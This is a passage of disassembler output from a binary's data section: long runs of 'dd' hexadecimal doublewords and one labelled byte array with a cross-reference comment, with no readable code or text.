dd 0BE12DB83h, 0B83B2AE6h, 0DCEAF850h, 296F7B65h, 7780B741h
dd 0F45C2404h, 0B2BE62Ah, 69E1391Dh, 489FB457h, 93EF76E1h
dd 4206DDBDh, 4A386B7Dh, 6099D6D2h, 9C981FFh, 16F2E416h
dd 77B91FB2h, 8308D83Eh, 0D5FE9912h, 0FD75D9E6h, 0A51DC0CEh
dd 8151972Fh, 0EFE817A7h, 3F04C96Dh, 0DD70C2E4h, 3B340D4Dh
dd 0D1066A8Ah, 3E498BAAh, 0C02B1A1Dh, 0A0DAA760h, 40EB8D44h
dd 1D5EFDFAh, 8070BEB3h, 11136305h, 127A6823h, 117071C0h
dd 0F772A16Fh, 0F04C5ADAh
dd 0DB340C4Eh, 0F0591C8Ch, 6238D67h, 0A04C29B5h, 41CAE937h
dd 0C71463E6h, 67AA423Ah, 0D0148E2Ah, 0B74D1C68h, 0F7C0578Dh
dd 0ADEC6902h, 0A24D50EFh, 0D3E83005h, 0E66074B8h, 0DEA669F2h
dd 0C61DB907h, 40F5CF32h, 0ACE7DB1h, 1A3F99D4h, 61501A54h
dd 216A8E5Fh, 0F51E6CAEh, 0D71740ABh, 970418DBh, 8A996593h
dd 0B50E3251h, 242C1639h, 71221659h, 91542B5Ch, 0C712241Eh
dd 0B28CD5EAh, 0DF7C75A8h, 374BCA4h, 0BF85AF3Dh, 4F538C81h
dd 774F034Ah, 0A2B2E98Bh, 1D4CDFF3h, 0F1DB376Eh, 0E6C104BFh
dd 0AA2DB5Ah, 167D24E8h, 6CADE29Dh, 455723F6h, 0ADBA6C17h
dd 41E9ABB5h, 489973BBh, 0AC8C3EB1h, 33BE6246h, 0A49D3853h
dd 0A396B0Ah, 3D1658EFh, 1F9F0B42h, 0E0622CCCh, 756476D7h
dd 934BD81Ch, 816EED6Bh, 0CABCD82Bh, 0E9373BE6h, 0A26CBAB4h
dd 54058F25h, 2675E7h, 0E184E6F2h, 56016540h, 1259CE03h
dd 5BAB00E3h, 5E982398h, 6072D8FFh, 5DB68E88h, 0AC85DE16h
dd 54B5318Ch, 0DD6EF5FCh, 4DAD3B02h, 0F2E0814Dh, 5B5DA281h
dd 2AE5042h, 2DA69EFBh, 1EC3A385h, 0B3EE7D66h, 0FD50236Ah
dd 6F22F1DDh, 94B6CFECh, 80D489A5h, 0F9DCFC98h, 4F47F77h
dd 48448DDFh, 4E821050h, 0E926BB6Eh, 0FCD62ABh, 39F79635h
dd 4A4F0B64h, 0B7AEB1FAh, 3BE7EF76h, 4448951Bh, 0EA04BB50h
dd 15F48A29h, 13A4E568h, 1A51FFE3h, 5ECCC057h, 62C6091Bh
dd 7F219527h, 71E61D8Eh, 23FD3B13h, 6E0EF4BFh, 199F47C4h
dd 701BEF7Ah, 59DF98A5h, 0BD17E665h, 0C17F213Fh, 37C5A41Eh
dd 2311B763h, 9ADEA8A2h, 0CA2B9498h, 1E37583Ah, 78DFE19Ah
dd 0AA097E34h, 0A5167CD2h, 2F89FA82h, 69AE1C72h, 237C3h
dd 0D34AE68Ah, 0BE335E4Fh, 0D9B442B3h, 3EA86DA3h, 0D6C1DAA7h
dd 0C5C1EB9h, 16A86DB4h, 0E62AB746h, 4615AE99h, 1BC0BB2Ah
dd 661059Dh, 9FA04909h, 0D7F83E18h, 29329C34h, 0DE37278Fh
dd 0F930D982h, 989B138h, 9E513AC9h, 308B6D1Ah, 6DC7C404h
dd 11B0A31Ah, 0A493F3Ch, 0B9DD5ABCh, 0F5D890F5h, 5E187D95h
dd 9EA5A309h, 0DBF9283Ch, 18847F7Eh, 57C1D63Fh, 5DBD8EA4h
dd 0EFBBF10Ah, 0F69948D6h, 0F7AD68D8h, 0E20EFD64h, 0E334FAD8h
dd 1B8B77D5h, 1B3E2D89h, 2256741Ah, 0A63FA469h, 910D75A8h
dd 0EA94AD86h, 72FA17F5h, 0E631CEB8h, 0E2E13B64h, 22D36E1Eh
dd 0DBFF883Fh, 41972A2Bh, 0FD78918Dh, 0D9A81DF7h, 6FDDEE1Dh
dd 2AC39051h, 98396722h, 84746CDBh, 35DA5F44h, 1AC4A131h
dd 0C0DB33h, 20BAC57h, 8A1751A7h, 89DFFEB0h, 4DDD8FF2h
dd 10C6DE18h, 363E1E95h, 0E4CC690Eh, 729B8A9Bh, 157E5A37h
dd 0EE5FF074h, 9C91E30Bh, 0DC8E82h, 0DEC60EEEh, 4FAD0B5Ah
dd 6849FE4Ah, 5F2F4816h, 47187A0h, 6058934Eh, 7CCA879Ch
dd 0C1ADA640h, 45BB9C5Ah, 7B968524h, 4C11ACC6h, 0A61E061Ch
dd 0DB07666Bh, 7D4FFE93h, 906F72F1h, 9D00902Ch, 0DF909A56h
dd 0C5679FD2h, 2ED68Ch, 0F5EA6D03h, 0DD45BC7Fh, 0A9FE0357h
dd 57042F43h, 0BEAB4431h, 796DB1AEh, 0C84E0F4Ah, 4A89C263h
dd 862B232Fh, 21A0C0CDh, 0F40965DAh, 0A316D84Ah, 0A3C247C0h
dd 0CE76AF75h, 1C9A3B80h, 1585033h, 1A17C657h, 8661BB89h
dd 575E2B6Eh, 0ED0E12B1h, 30C5BB3Eh, 78CAFC08h, 35FF992Dh
dd 6007DDBBh, 0F26A2CABh, 0A6F329C1h, 1A2751Dh, 39598AAAh
dd 6B001991h, 5A274276h, 0DAD39F49h, 3D8050F9h, 0D0C38836h
dd 0C06462B4h, 0F5252A99h, 70D4B9A5h, 62FE1C7Fh, 0BCB9A17Fh
dd 0E28FE8FEh, 0EB593F41h, 2EB53DEBh, 76ED2A61h, 0B86DDF27h
dd 1888ED6Fh, 0BDB8BAD0h, 0CEC7DFD0h, 2093B53Ch, 0E07C3630h
dd 0E3E97156h, 5F90698Eh, 0CD62156h, 0A2C44D0h, 0A8DCF302h
dd 0B50135F7h, 0C35D517Ah, 4C88B3F4h, 70F0316Eh, 0F620EDE4h
dd 0EBE0AB3Bh, 3BBE9F7Fh, 9368FC33h, 3876E79h, 8EBCA6C0h
dd 0DA79F665h, 7DBFDD1Ah, 49A99135h, 0E8BE892Dh, 9B6F9AEh
dd 66C6931Ah, 0F515B77Eh, 0C0513E8Eh, 13DA0C45h, 54872B79h
dd 0B3D468E0h, 0BC24D3AAh, 0DB1A1EC2h, 719ECDB8h, 4D8F8AD0h
dd 94822F8Dh, 52082F72h, 0A0937467h, 0FFC55B32h, 122EB260h
dd 0DFA6C7C1h, 7E12BA71h, 0D1820891h, 38EDDE0Fh, 0C362133Dh
dd 0D6483586h, 0D2A85734h, 9A7722CDh, 0F173E04Ch, 582E6295h
dd 0AE2A3D73h, 0B2CCC2C3h, 389955A0h, 73B693F4h, 0CAA817DEh
dd 61A3D393h, 3604F151h, 2BE20B7Dh, 8CC4EE64h, 0E63AEEF4h
dd 5161C183h, 65321372h, 1BCC976Ch, 0DA83E915h, 0FDBF15E8h
dd 0CA03C87Ah, 50EEFACh, 468FDDE8h, 37043DC7h, 632707E1h
dd 5108E88Ch, 0FF015DEBh, 7919F36Eh, 0BA4D6C33h, 9A97B8B3h
dd 5BADB21Bh, 3BDAC774h, 28D85D44h, 0DB939CDEh, 17F8B4AEh
dd 0F30A779Ah, 65B27CD3h, 91F4A482h, 0F7C5642Ch, 640C447Eh
dd 0A1332CA8h, 71536906h, 5DF480B5h, 9D166B08h, 29A98737h
dd 82FBED83h, 663D00B1h, 5C5372F8h, 6BA499FEh, 508518B6h
dd 0C9366D67h, 90993350h, 0B1C35287h, 54E7EEFAh, 0A1B3B5FFh
dd 193F0C7Ch, 58BC7471h, 0D0409EA7h, 700C8D67h, 8CCA66DCh
dd 97E7F88Ch, 61539A00h, 30830913h, 99DEBAB5h, 275E9533h
dd 45C3B83Fh, 323AD6FFh, 44681959h, 0F859400Bh, 85C52448h
dd 5E3B5385h, 0EC42E23h, 28D7ECAFh, 834D943h, 0DCA4FA0Eh
dd 0B1DD7238h, 0EB244521h, 0F89516F1h, 0BF1B48D6h, 1224C6CBh
dd 5422E48Ch, 4E1B49A9h, 0E3DE94ADh, 98E2248Bh, 0B5150D65h
dd 48F3C6BFh, 109640D6h, 9BBEAD42h, 8E243ABCh, 4A9E657Ah
dd 0F0F30DE7h, 9AF6EFF2h, 0A3FD0DF2h, 0E1044CE3h, 0FC0B138Ah
dd 0AC625066h, 3A8EF94Ah, 70657F51h, 5EBA80ACh, 0BC06C63Ah
dd 4A657482h, 9B8F79B3h, 0F641C9B4h, 88EF5CCCh, 82B9D47Bh
dd 0CA70BE63h, 44739F33h, 0FCD221E2h, 0E38B73F7h, 995280B9h
dd 66C0FF7Ah, 797095A0h, 6E90DC70h, 81E95B84h, 18AE46FAh
dd 70F6C67Dh, 0E958A977h, 9A7B7D40h, 25AE4431h, 7D956CE8h
dd 24DC3F9Fh, 0A3C9DB4Fh, 0D62C0FDCh, 0F1F77802h, 0A85AF37Ch
dd 30B4D5EFh, 0F6CDAB17h, 2F6FC3DCh, 0B235D028h, 0D05EF8A5h
dd 0FD9E2FE3h, 225615B2h, 993B7A44h, 0BACC5EE6h, 413A094Ah
dd 48CA1373h, 95272837h, 0DF1CCC5Ah, 0A0090816h, 9966655Eh
dd 5844D5F4h, 0CDFF15DFh, 7EBBD480h, 0A1D219CAh, 0D10A4A63h
dd 0C005EF41h, 0E3F28F6Eh, 0B2D64B5Ch, 51DDAE8h, 0D1DE3972h
dd 0A270BE9Eh, 1D10A4E6h, 30ACBAAFh, 4BF79692h, 27B07AD2h
dd 0C24FB8B5h, 4A27CC8Ah, 0D32B5412h, 0A734FC63h, 78E030Ah
dd 479D316Ah, 0A68674F3h, 2E6D5D04h, 79CC466Ch, 4A162F7Ch
dd 47673EB7h, 98724584h, 0CC7766E4h, 2C5ACF1Ah, 0D67D33B2h
dd 5F5D8C1Eh, 0C82952F7h, 0F34FA17Fh, 3DECDCCDh, 56E861D7h
dd 4F4889F1h, 0B53E2362h, 8B099F88h, 1EB6F003h, 0E19D51ADh
dd 1CA51BCAh, 8DE71DA6h, 0B676A1F2h, 6E5498C7h, 45F44D80h
dd 732FDF7Dh, 0D3355874h, 40288DF6h, 0D8147A89h, 45D0563Bh
dd 0CE47990Ah, 74E491Dh, 7A6CF4ADh, 5320BA5Bh, 441A1561h
dd 63669FE0h, 54915E65h, 0A797CB6Bh, 110DD9B1h, 0A76A771Fh
dd 97CDCFEDh, 49D46B7Ch, 813C8CF1h, 0A67978D5h, 0D9C96647h
dd 9AA6DE71h, 0A08A43B9h, 0F326A42Ch, 30F6CDC9h, 0F38095A1h
dd 0F9417AAh, 0A1FD8DC4h, 5B1E035Eh, 0CFC85C2Ah, 266F07F4h
dd 8FE02DCAh, 1CBCA220h
dd 92191C0h, 6EDADFDFh, 0E19D99C8h, 8DC6DA15h, 5895DC53h
dd 0AA1AE274h, 0F330E8E3h, 8C97A94Ah, 0CEAFA196h, 66707922h
dd 0F83E5DA0h, 0DF09CFB6h, 0DCECC63Ah, 0F7DA3907h, 9AAE0B49h
dd 0BB4C3C08h, 6A321415h, 5FBF4DC9h, 5406E1Eh, 0C64CBA99h
dd 778FBA7h, 0DBB52B50h, 0B0DBB06Bh, 764A099Eh, 3AF3D96Ah
dd 0D68E5D32h, 3A5919B8h, 467C3F28h, 90139B07h, 43FBCD3h
dd 1D88F81Ah, 0DC57EFCBh, 4D49C4FAh, 8F9A1FC8h, 0DF0A8163h
dd 13B206E1h, 0CAB1DCD2h, 0A3984826h, 0B15A94A7h, 3974219h
dd 0C269FB15h, 0D83F2D31h, 6AB1B867h, 0C32D32BEh, 2FCDCCDAh
dd 201734A2h, 0F382B90Dh, 21C3092Dh, 0DA643052h, 14AB67C4h
dd 8FB8BA44h, 8EBFF01Eh, 420939B3h, 6EF5AE73h, 90600B2Ch
dd 16D26684h, 0A4AA4A1Bh, 0B328515Eh, 0BB9B882Eh, 0B098E24Ch
dd 0C4DD9C80h, 0AFC6D113h, 6C0D1947h, 0CBB634F4h, 45C4E8F9h
dd 5942E8E0h, 0E6E578h, 0AD776232h, 0D2EB86ABh, 0F00E860Bh
dd 7FF45257h, 459AE0AAh, 4203CC6Ah, 7D8B31CDh, 0B1222BB7h
dd 0DF6B2543h, 30B8EED5h, 43635533h, 37CCF99Bh, 6723160Ch
dd 0A40627CEh, 0D7F78AE7h, 0D623EFDDh, 25357DD4h, 2C55E481h
dd 0B2CC1AF2h, 0C1F20AE9h, 320CED92h, 26052629h, 63ACA852h
dd 0FBB6B0C4h, 648B2FC2h, 0A37D13B1h, 0BB306DE8h, 0D06ECAC8h
dd 2C23F473h, 8A7EF2CBh, 0ADF9AAF7h, 0B22E741Bh, 9F179AD6h
dd 6CA37D0Fh, 0E6BB74CBh, 18C68013h, 0E37B3517h, 24880E71h
dd 0D5E7D58Bh, 2229CFAFh, 4613C077h, 0B6314BCBh, 76179128h
dd 604C5BD9h, 4E94697Ah, 9F228937h, 3D36001Dh, 9F1B50CEh
dd 8F37409Ah, 0C89449F5h, 54DC71C6h, 772CAFCh, 0CE7BE3F2h
dd 0EA559122h, 900EB9F2h, 50D85AD7h, 0B6135F9Eh, 8FF7BEFEh
dd 0DA92E078h, 13BA9EE1h, 0DF3253EBh, 28D9F9DAh, 0C0AE6A8Ch
dd 425E3BC0h, 0E2D11C7Ah, 0A3C6652h, 0A2F37DB9h, 0B32D640Bh
dd 6D809DFCh, 0C64B9546h, 0E775D520h, 133AF7FBh, 5D6B3C15h
dd 3C47A521h, 0C632B125h, 4DB91B4Ah, 0B6EB93D9h, 72F09D5Bh
dd 5EDC2B0Ah, 2F030AA0h, 4BE61319h, 43664C03h, 87BE820Dh
dd 0A207775Fh, 56980386h, 90233342h, 0EF1F0405h, 1482205Eh
dd 4E4472BDh, 6950366Bh, 62CB9E37h, 0A2BF189Dh, 1B13E6A5h
dd 0A4A432F6h, 0C1AC519Bh, 0BA5639C2h, 0CA159FFDh, 8D2D0427h
dd 0D41491B4h, 73ABBDCCh, 0FB2E518Ah, 9F6F66D1h, 856D81D7h
dd 26011B4Eh, 4FAE0175h, 48E01710h, 0B07CB5F9h, 5BE9876h
dd 8BAC6048h, 912D365Fh, 2C5B255Dh, 3EBE36CFh, 62D7E7F4h
dd 9039ED00h, 284B4B40h, 0A60FA28Eh, 665FAFC7h, 0B0389364h
dd 0F608B3D2h, 0A6FB751h, 48AB3CDFh, 5E8B3C5Bh, 72DB6F8Dh
dd 0FE703EA3h, 0A3042CE6h, 0FFAAEB02h, 0D74C9EDBh, 680019C9h
dd 5D8048FEh, 532F900h, 4C421DF5h, 0AF0AEE61h, 7E456379h
dd 0F5323690h, 0C69AB904h, 7464C262h, 22C1358Bh, 0AD08D776h
dd 7B111F8Dh, 0C6C356D6h, 3152B0AEh, 892B87F1h, 62E2DF77h
dd 0AD11F106h, 0A84AADACh, 7DF12EC3h, 7C8576FBh, 7E40E8ACh
dd 0D62EFD0h, 0F39B2AA4h, 92DFDA3Eh, 43174AD9h, 51CBA999h
dd 5D4BADFFh, 4E95035Bh, 2CD8721Fh, 0A608002Dh, 524CE6Bh
dd 60D9D4EAh, 0D2B6EF63h, 0DCF8B5E6h, 4391EE66h, 11D96E54h
dd 744B64E6h, 0F923E88Bh, 68D48A1h, 6417F324h, 0A84156E8h
dd 6E075720h, 3866F06h, 3A42B37Ch, 1E6B4EC2h, 2F2C11DDh
dd 5C8892BBh, 54FBED43h, 8F23F9EFh, 0B5A0C021h, 0A6C19086h
dd 0BE432085h, 9D3CEEEAh, 7BD6F9D2h, 0E075D96Ah, 797AFB62h
dd 7A0BA98Eh, 844B0BEAh, 0B69DBF44h, 80C42998h, 95D010B5h
dd 79F5BC28h, 83374C1Bh, 0FAD2AC78h, 81A968E4h, 21D8E172h
dd 0F16C4A0Fh, 1DDAAE8Bh, 858AD46Ah, 0A6EA1529h, 0CF524449h
dd 0F3D83E6Eh, 0FBDD5B36h, 6CA58567h, 5B47959h, 2431AB30h
dd 0D009AB65h, 0C886929Bh, 0E2FA417Eh, 53EE2077h, 0DB999E10h
dd 81259838h, 0FE1FB3C8h, 26D93117h, 0DD990B21h, 0D82F5D1Eh
dd 2CB7A0B6h, 6D86099Bh, 85A3B6FDh, 9893EAE2h, 0A609D9F2h
dd 0BC6D185Eh, 962E0A79h, 0ABCA5B03h, 311064C0h, 9BD6134Eh
dd 0EE9BB169h, 472D499Ah, 1A53596Fh, 80C4B915h, 0EE6F5F5Bh
dd 0A85EA59h, 0C67FCC7Bh, 0CF59D7CEh, 77FD1A4Dh, 0ADD4D7DFh
dd 72C4106Bh, 5D2368C7h, 0C016AF6Fh, 0E7CF3722h, 0AB5B0D23h
dd 944EDC6Ah, 29BCDD1Ch, 9B20AE8h, 0EB81D338h, 0ABAF538Bh
dd 0F716DCF3h, 704912ECh, 15F294A5h, 0E0FB4954h, 5229AD91h
dd 50B98D28h, 49AE2FA0h, 0C8447910h, 524C3AF6h, 0BF82ACFCh
dd 8233DD9h, 74CDB080h, 0C1113D1Eh, 0C35202E7h, 0E9E9B619h
dd 70BC5424h, 2F4AA418h, 93830BDDh, 9E8819Eh, 18B9929Ch
dd 81390CF1h, 0ACEFA53Eh, 48E6425Fh, 0F913135Eh, 75C61E37h
dd 249C5475h, 108A7C4h, 0B0568138h, 0CD6D3E06h, 4AD03667h
dd 157C625Bh, 0B5362E0h, 843C1B04h, 495513B5h, 1E8137B4h
dd 4D067B6Eh, 0DC883064h, 47E46DC6h, 0D78DEC1Bh, 17C2D388h
dd 8471AA8Eh, 674A8F5Bh, 0ECF8D0B0h, 9114C63h, 0E49CA254h
dd 0AB2553EBh, 0BE69B5ACh, 0CD868601h, 0C10C9005h, 0C36A40A9h
dd 0D905E871h, 2AA76065h, 46546B26h, 0B8B32BDDh, 0CED8A367h
dd 77EC6B40h, 0C87CC09Ah, 6D1E7F8Ch, 3F611996h, 60E4931Fh
dd 0BA1BDD16h, 0FA4389DBh, 9C70EF06h, 0E0B2885Ch, 0C1EBD5h
dd 1217D21Bh, 1A7B74F3h, 0C1F56635h, 0D4D4142Ch, 548D1CE0h
dd 0C2BD1805h, 0F9494C57h, 0EA92FFE8h, 0AF16A865h, 0E7E92691h
dd 0E0AE6542h, 63AFD448h, 630713FBh, 0EA40285Fh, 0EF7965C7h
dd 34F51EEFh, 5AC48A09h, 647946EDh, 0ECC1206Dh, 0DC0C7223h
dd 0CBC088C2h, 0BA9C8200h, 15DFA7FDh, 0DCC9F50Dh, 8467310Fh
dd 55C9C214h, 55CEAFD0h
db 9
byte_464E49 db 9Eh, 29h, 27h ; DATA XREF: DMN0:off_410116o
dd 4193DBF6h, 1C17E92Bh, 8C260716h, 3903B1EBh, 28D297C9h
dd 7B21D4A5h, 5DA67B0Eh, 0DA5D98C0h, 7DBECE55h, 2E01362Bh
dd 2B60B0D8h, 949CE7A2h, 0D99E3783h, 0B40876Ch, 0CD831006h
dd 0CAB40D2Bh, 0FBCEF1EFh, 0EDD27A9Dh, 0EC8FF53Ah, 0FC3C290Dh
dd 51101C0Bh, 71E0F3FBh, 5236250Fh, 290B92Eh, 480EBB6h
dd 5DA4812Ch, 98C37ED4h, 0DC9268B8h, 6EDB2920h, 0E971BD82h
dd 0BC290DDh, 5719DD79h, 7F792EAAh, 206F658Ah, 5438436Ah
dd 0BF5A6ED1h, 547677F7h, 54A01F23h, 57291C84h, 39863B20h
dd 1EDFD599h, 43E8A944h, 4E05911h, 37B537D7h, 1C7EA5E6h
dd 9E887928h, 0DCCBE876h, 59818C48h, 0B7B43676h, 876AFB0Dh
dd 55A74075h, 296D81E4h, 0C8EC68F4h, 0C061E8D4h, 6E6BF3D9h
dd 7EDFBA07h, 0A46AEEBEh, 636C607Ah, 0D50505ACh, 841F2F6Dh
dd 17BFEFEBh, 8E7A4DD5h, 791A5D4Bh, 0E6769191h, 734D78FEh
dd 0BD76D7C0h, 0DD384D5Bh, 90E68EF7h, 0AEBA87C4h, 7FA74239h
dd 66F3BC04h, 45A8944Dh, 0FE4619A2h, 0E0C80C72h, 4110F479h
dd 0E89ECAE2h, 67D1B3F9h, 0E73CB599h, 97FE3CA6h, 0E3719C14h
dd 4A932325h, 0C5783C70h, 0F831AF30h, 25B5C421h, 97185027h
dd 117ABBFFh, 0B2879D14h, 0BF13F443h, 9AA3C35Fh, 0F6977BAFh
dd 0D0BEACDh, 0AA25BDEh, 82D80754h, 6873C490h, 0E0A04018h
dd 903BCB4Eh, 0FAC6BC89h, 88ACA0A9h, 59367A5Eh, 0E72245C5h
dd 503FE157h, 0A27EAF5h, 16106F66h, 34EFB13h, 20D997CCh
dd 0B6277894h, 296B2FCCh, 0BB94BE65h, 0F0DE6ACAh, 34B0DC9Ch
dd 3CF94E0Ah, 0B7FBC182h, 9BE17EF5h, 0A24C234Eh, 4DCB9962h
dd 0B29C4348h, 15F9A916h, 0A274C43h, 0C12EC22Ah, 0DC59751h
dd 95DF650Ch, 88044276h, 68AAB845h, 764790CDh, 9A95F676h
dd 0E796E816h, 0B618A3B3h, 52BABCEEh, 0A09A0ABAh, 1A64A323h
dd 6A4FD1DAh, 2866A10Ch, 53578B31h, 65B2A64Eh, 8F546C2Ah
dd 67D59D1Fh, 0EB03E5E8h, 0DB33554Ah, 624C2F14h, 98643815h
dd 51C54B16h, 590F1FE1h, 1367956Fh, 0ACCB7B9Eh, 26604F95h
dd 2D58F99Ch, 5F0ECCF8h, 0EBCC42F4h, 6E916540h, 0B352D32Fh
dd 0E799564Bh, 4CE98866h, 9521848h, 0F3E29DDh, 0B07DD7A6h
dd 61E6F7E0h, 0F07373DDh, 0B162A0C2h, 48FA3A4Dh, 0F983D80Ch
dd 26B1E1D5h, 785E4C3Dh, 35A2BCE7h, 0A339BA88h, 853B1EE4h
dd 1062B0EDh, 47490B4Ch, 9072A198h, 3BC4DBD4h, 0E69C641Eh
dd 70E02815h, 0C0E88F56h, 0B0A7F774h, 4E699237h, 9B84972Dh
dd 0E8A74EB6h, 42C6A724h, 0FDF35B03h, 313D591Fh, 0E92C41F2h
dd 0F4FC6929h, 0DA300171h, 4A32C72h, 2B0D30F8h, 8916F084h
dd 4CF9B571h, 49DAE7Bh, 0DD815E33h, 0B5917771h, 634E7822h
dd 9B9CCEC2h, 48BAF3BCh, 0C927CE38h, 0C12B0FD8h, 0C8131032h
dd 0E0A838E1h, 0FB03AA0h, 5DE40E79h, 60D62257h, 827EDC59h
dd 4492415Eh, 47BD1F37h, 0E2A0CAB3h, 0DABBA94Dh, 47BE0CC6h
dd 3EE0EAF1h, 8203DF8Dh, 6714D318h, 53D5E7A2h, 320442D9h
dd 0B1CF467Ah, 855D243Ah, 0B05518A6h, 0EA0DB2C4h, 45027DAFh
dd 963DEC36h, 1E212A5Ah, 0FEDC5DF7h, 17CA497Fh, 0C2E99C87h
dd 8CDDE813h, 0B353248Bh, 7F9D496Ch, 98F79728h, 91790E34h
dd 92A947E1h, 3885FAF8h, 0BAB7E699h, 0CEF4E775h, 1C41313Eh
dd 0CE040F4Bh, 0D9A32ABh, 7899E301h, 0E6DF4641h, 8F43D226h
dd 0B83543D5h, 0EF8D8B04h, 10EB06D7h, 1B2FD99Eh, 0F0BA03Dh
dd 0CDE97099h, 36043D58h, 0BE5E78BFh, 0D6840F1Bh, 2D74C0B4h
dd 99360655h, 0B6EFB27Ch, 0DB72664Dh, 4CFBABD3h, 981A066Bh
dd 0F641C3ABh, 17A51C8Fh, 0C1EDB05h, 3F9BCA89h, 7882ED2Ch
dd 0D6A5B61Dh, 0FCB85BA1h, 7ADB19DBh, 799DC62Ch, 7105CF48h
dd 0A2D65540h, 0C296D4C0h, 1103CE23h, 0AA4FB90Bh, 9A04B1F4h
dd 28AA88A4h, 2EDBAE34h, 31A35126h, 1025A00Eh, 234E66DFh
dd 0CD675D27h, 81BD1A74h, 12048C8Fh, 7696E74Eh, 63B513DDh
dd 27D32412h, 7D8A853Ah, 8F921CFBh, 8F24DB1Ah, 92EE08A5h
dd 0B1702AA5h, 9D85A71Eh, 0F4C1C38Fh, 13BA2EBCh, 95E1C5C7h
dd 0ED048860h, 25BD69C8h, 0AC8457F1h, 65A589E7h, 12150E69h
dd 34891A6Fh, 4815BB2Dh, 4739DB03h, 3B252A5Eh, 59012ECBh
dd 76B3012Fh, 3F141B8Ch, 277091ADh, 0DD965833h, 86724AE1h
dd 0F3B93BFFh, 358BF11Ah, 487C61DDh, 844707CBh, 0E021443Ch
dd 2AD5844Ah, 0CC2C2B2Eh, 7A42E0BBh, 0C72A972Bh, 4812C730h
dd 47FACD77h, 203066C4h, 17C4F1DAh, 0FD09F9D4h, 0BFF2D14Fh
dd 5495945Eh, 0C61E8F75h, 820A6F98h, 2389A326h, 0C3630374h
dd 0D017D429h, 8DD00246h, 0EB660309h, 87B7C97Ah, 8E8A7754h
dd 186B8CEDh, 46B09DCh, 0CD8768CCh, 0DD25ABD2h, 8B65F96Eh
dd 8D4E0DAEh, 3EFAF929h, 0A20A3836h, 0E830194Bh, 6C7B8217h
dd 0F7773873h, 0FFE54CFFh, 0D4E5C388h, 3F479EFCh, 0A3C7C6A0h
dd 2E512027h, 0BE4A82BAh, 7D92CAC5h, 63927B99h, 5E3637Dh
dd 18D0CD1Bh, 0F9E2113Eh, 0CED4CF7Bh, 3CB366DDh, 218BD4C7h
dd 10EAE886h, 1B3C2C48h, 9F137395h, 0DC077A46h, 7E72DEB9h
dd 80DECDBBh, 26AEABAEh, 0FE43818Dh, 8A0549F7h, 0BB31774Dh
dd 0CC484609h, 0D5A89F7Fh, 1C49747Fh, 0E47BE835h, 1B5DADE1h
dd 0EEA5D243h, 0F96B829Dh, 0C2ADB386h, 0F9D19032h, 0FC2DCD6Ch
dd 924031B1h, 0C19C4460h, 0A7B9D4C9h, 0E6483C3Eh, 9C9C6472h
dd 0F4B816ACh, 0B56B51D4h, 0B26F43FCh, 0AC2AA495h, 0C5399E97h
dd 0C344A750h, 215C7D4Eh, 9E634EDFh, 0AECCBE2Bh, 3D187621h
dd 6BBA91F0h, 0AB7CE632h, 4F55FF03h, 9BDE092Fh, 2E74832Bh
dd 523962F7h, 58538848h, 6D1DD341h, 6915ECF7h, 1E950206h
dd 6DA9180Dh, 0B2E26C68h, 38305939h, 79E0E6DFh, 0CAAF0903h
dd 76565A70h, 0D6DD2E44h, 2708ADF7h, 0EB9C98A8h, 0A7B9ECC8h
dd 0E6481031h, 6C9C4470h, 9CB8D6A9h, 72A86261h, 18DDC8CDh
dd 4D812FF7h, 0C561CEF9h, 0C2BC3453h, 0A84EB64Eh, 6EA14008h
dd 1970DE74h, 80130B95h, 0C174B246h, 34079EB2h, 8A75FC50h
dd 51AECAAEh, 0D6AF0086h, 8AB8F408h, 0BE05155Eh, 0BAFE07FCh
dd 5C1EBA6Dh, 0CDC876C3h, 0F328B231h, 195F6DC2h, 70D241BAh
dd 0EDE04E95h, 32AF0DDBh, 3DFE8DB0h, 20A4CF6Eh, 12428469h
dd 0C3AFA4EAh, 9832E8CDh, 0E64AAA35h, 141E297Fh, 7FB8F636h
dd 0B7C39652h, 5E5748DCh, 0F4F5ADDBh, 4E634E3Fh, 47BBC75Dh
dd 237559E4h, 1AD1C406h, 7D5951Eh, 8051958Dh, 0E936934Fh
dd 1B739E03h, 0DAFBCDD8h, 8630B425h, 4F19F7D4h, 0F1901A84h
dd 0F86BFC8Dh, 0FB0CCA1Ch, 0D003167Eh, 1D0BDC57h, 67A921BBh
dd 196B1BB2h, 0E32FB995h, 8394A661h, 33440EC3h, 0DFE9D90h
dd 55AECF2Eh, 2D12D549h, 0BE113315h, 2EBD5258h, 928ABBB6h
dd 9798F51Fh, 7FB8921Bh, 0B4AFE259h, 401A236Eh, 0EFF02669h
dd 0B19AB492h, 68391922h, 0A87D594Ch, 6EC35A03h, 0B6464474h
dd 0AF17D3Ch, 6DBBCDFBh, 6C8CD7BBh, 3653F275h, 6821CAACh
dd 64F3333Fh, 9382D1F5h, 5353FC70h, 4ECE7BA0h, 0B80B9F7Dh
dd 0B78BC6C8h, 6F2BA63Ch, 76F40970h, 0C86E0676h, 4997D837h
dd 0DDAD7A33h, 1F58DA13h, 0F52DCF56h, 5AE77FCBh, 0C1191565h
dd 2EB9E0CCh, 0E64ABAB7h, 9011BF7Ah, 7FB8B6DFh, 0B568A341h
dd 18DF48BCh, 0FB37A517h, 4E67C13Bh, 0C2B0935Dh, 23655F4Eh
dd 6EF1F486h, 93EAD574h
dd 81D17120h, 6E391346h, 19741EBBh, 96DEF953h, 8722CAAEh
dd 0B64D832Bh, 3B25197Ch, 0B35BFC8Fh, 0E3EC30Bh, 0D3819F7Dh
dd 28976CDh, 6FABAA85h, 157F6F66h, 9C5B8927h, 446F8356h
dd 2A550EE3h, 0EF5418D3h, 0E58CAAAEh, 5D42814Bh, 401B43D4h
dd 22F97714h, 0B446923Bh, 94600AF5h, 1BE956DBh, 0B56856B6h
dd 91BBC88Ch, 0FB30A552h, 6A3D4BFBh, 0DAEE07D5h, 63E69EC7h
dd 0E539F1BAh, 0CB29A53Ch, 816D19A3h, 0B7B86132h, 6F782F30h
dd 91980DA5h, 8E254170h, 9E6FA30Bh, 0FB99CF5h, 0D5C8FC8Fh
dd 0EE03A50Fh, 0CFE4165Dh, 89C976C9h, 4826A2C0h, 9C5F4F54h
dd 9E34F9A6h, 0ECEE455Eh, 12AF0E97h, 0FBCCACBEh, 3892C96Eh
dd 0FA4282CBh, 0C1191826h, 2A2D7DF4h, 0EA3ECAB1h, 9835CBF5h
dd 2B30645Ch, 3C832A95h, 1CA2D315h, 88BAA957h, 0C5B5D987h
dd 1CA9852Bh, 8E49C5CDh, 0E899D487h, 93AA61F4h, 88A508Dh
dd 6F3B57C3h, 0BF7933BBh, 96417CDAh, 918FCAAEh, 24182E3Ah
